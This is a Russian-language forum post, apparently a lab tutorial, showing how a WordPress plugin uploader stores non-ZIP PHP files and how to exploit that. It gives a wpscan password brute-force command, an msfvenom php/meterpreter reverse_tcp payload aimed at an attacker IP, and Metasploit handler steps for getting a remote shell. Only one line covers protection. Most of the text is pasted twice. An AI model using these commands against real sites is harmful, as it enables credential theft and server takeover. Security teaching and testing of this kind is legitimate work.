- Регистрация
- 27.04.2020
- Сообщения
- 235
Плагины, загружаемые в WordPress через административную панель, не проверяются на предмет соответствия ZIP-архивам, что позволяет добавлять на сервер php-скрипты, картинки и другие типы файлов.
Плагины, загружаемые в WordPress через административную панель, не проверяются на предмет соответствия ZIP-архивам, что позволяет добавлять на сервер php-скрипты, картинки и другие типы файлов. Во время добавления файла возникает сообщение об ошибке, сообщающее о неверном формате, однако файл все равно появляется на сервере, и злоумышленник может легко загрузить полезную нагрузку, написанную на PHP, имея в распоряжении учетную запись. Соответственно, используемый аккаунт становится уязвимым. Добавленный файл доступен по адресу /wordpress/wp-content/uploads/{year}/{month/{file_name}.
Операционная система злоумышленника: Kali Linux
Операционная система жертвы: Windows 7
Используемые утилиты: XAMPP, Metasploit
Другие требования: наличие дистрибутива Wordpress
Эксплуатация уязвимости будет продемонстрирована на локальном сервере:
Изменение параметров в таблице wp_options
5. Вносим изменения в файл wp-config-sample.php, находящийся в папке htdocs/wordpress, касающиеся пароля и имени базы данных.
Содержимое папки htdocs/wordpress
6. Создаем учетную запись в Wordpress
В Kali Linux используем утилиту wpscan для получения имени пользователя и пароля жертвы:
wpscan –url http://192.168.86.13x/wp-login.php -U isha --password isha.txt
Заходим по адресу 192.168.86.13x/wordpress, логинимся при помощи полученной учетной записи, после чего переходим по адресу 192.168.86.13x/wordpress/wp-admin/.
Кликаем по ссылке «Add new» в разделе Plugins.
Добавление нового плагина
Выбираем нужный php-файл и кликаем на кнопку «Install now».
Установка полезной нагрузки
Ранее упоминалось, что загрузчик плагинов принимает только ZIP-архивы, и после загрузки php-файла мы получим сообщение об ошибке схожее с тем, которое показано на рисунке ниже, из-за неверного формата.
Сообщение об ошибке, появляющееся во время загрузки плагина
Извлечение плагина потерпело неудачу, однако php-файл находится в папке /wordpress/wp-content/uploads/{year}/{month/{file_name}.
Загруженный php-файл
При помощи этой уязвимости злоумышленник может создать полезную нагрузку с реверсивным шеллом при помощи модуля msfvenom и добавить в файл shell.php.
msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.86.13y lport=1337 –f raw
Создание полезной нагрузки
После копирования полезной нагрузки в файл shell.php запускаем msfconsole:
Use exploit/multi/handler
Set lhost
Set lport
Use payload
Exploit
Теперь, когда жертва откроет файл shell.php, злоумышленник получит доступ к системе.
Настройка полезной нагрузки
После получения доступа становятся доступны многие команды:
Некоторые команды, доступные после получения доступа к системе жертвы
Также можно проверить установленное подключение на компьютере жертвы.
Перечень подключений
Введение
Плагины, загружаемые в WordPress через административную панель, не проверяются на предмет соответствия ZIP-архивам, что позволяет добавлять на сервер php-скрипты, картинки и другие типы файлов. Во время добавления файла возникает сообщение об ошибке, сообщающее о неверном формате, однако файл все равно появляется на сервере, и злоумышленник может легко загрузить полезную нагрузку, написанную на PHP, имея в распоряжении учетную запись. Соответственно, используемый аккаунт становится уязвимым. Добавленный файл доступен по адресу /wordpress/wp-content/uploads/{year}/{month/{file_name}.Введение
Тестовая среда
Тестовая среда
Операционная система злоумышленника: Kali Linux
Операционная система жертвы: Windows 7
Используемые утилиты: XAMPP, Metasploit
Другие требования: наличие дистрибутива Wordpress
Эксплуатация уязвимости будет продемонстрирована на локальном сервере:
- Открываем XAMPP и запускаем нужные службы.
- Копируем дистрибутив Wordpress в папку htdocs.
- В браузере вводим адрес 127.0.0.1/wordpress.
- Заходим по адресу 127.0.0.1/phpmyadmin, создаем базу данных и в таблице wp_options меняем значения некоторых параметров с 127.0.0.1 на 192.168.86.13x (IP-адрес ОС Windows).

Изменение параметров в таблице wp_options
5. Вносим изменения в файл wp-config-sample.php, находящийся в папке htdocs/wordpress, касающиеся пароля и имени базы данных.

Содержимое папки htdocs/wordpress
6. Создаем учетную запись в Wordpress
В Kali Linux используем утилиту wpscan для получения имени пользователя и пароля жертвы:
wpscan –url http://192.168.86.13x/wp-login.php -U isha --password isha.txt
Заходим по адресу 192.168.86.13x/wordpress, логинимся при помощи полученной учетной записи, после чего переходим по адресу 192.168.86.13x/wordpress/wp-admin/.
Кликаем по ссылке «Add new» в разделе Plugins.

Добавление нового плагина
Выбираем нужный php-файл и кликаем на кнопку «Install now».

Установка полезной нагрузки
Ранее упоминалось, что загрузчик плагинов принимает только ZIP-архивы, и после загрузки php-файла мы получим сообщение об ошибке схожее с тем, которое показано на рисунке ниже, из-за неверного формата.

Сообщение об ошибке, появляющееся во время загрузки плагина
Извлечение плагина потерпело неудачу, однако php-файл находится в папке /wordpress/wp-content/uploads/{year}/{month/{file_name}.

Загруженный php-файл
При помощи этой уязвимости злоумышленник может создать полезную нагрузку с реверсивным шеллом при помощи модуля msfvenom и добавить в файл shell.php.
msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.86.13y lport=1337 –f raw

Создание полезной нагрузки
После копирования полезной нагрузки в файл shell.php запускаем msfconsole:
Use exploit/multi/handler
Set lhost
Set lport
Use payload
Exploit
Теперь, когда жертва откроет файл shell.php, злоумышленник получит доступ к системе.

Настройка полезной нагрузки
После получения доступа становятся доступны многие команды:


Некоторые команды, доступные после получения доступа к системе жертвы
Также можно проверить установленное подключение на компьютере жертвы.

Перечень подключений
Методы защиты
Методы защиты
- В идеале во время загрузки плагинов и шаблонов должна очищаться папка загруженных файлов правильным образом в случае неудачной распаковки или установки.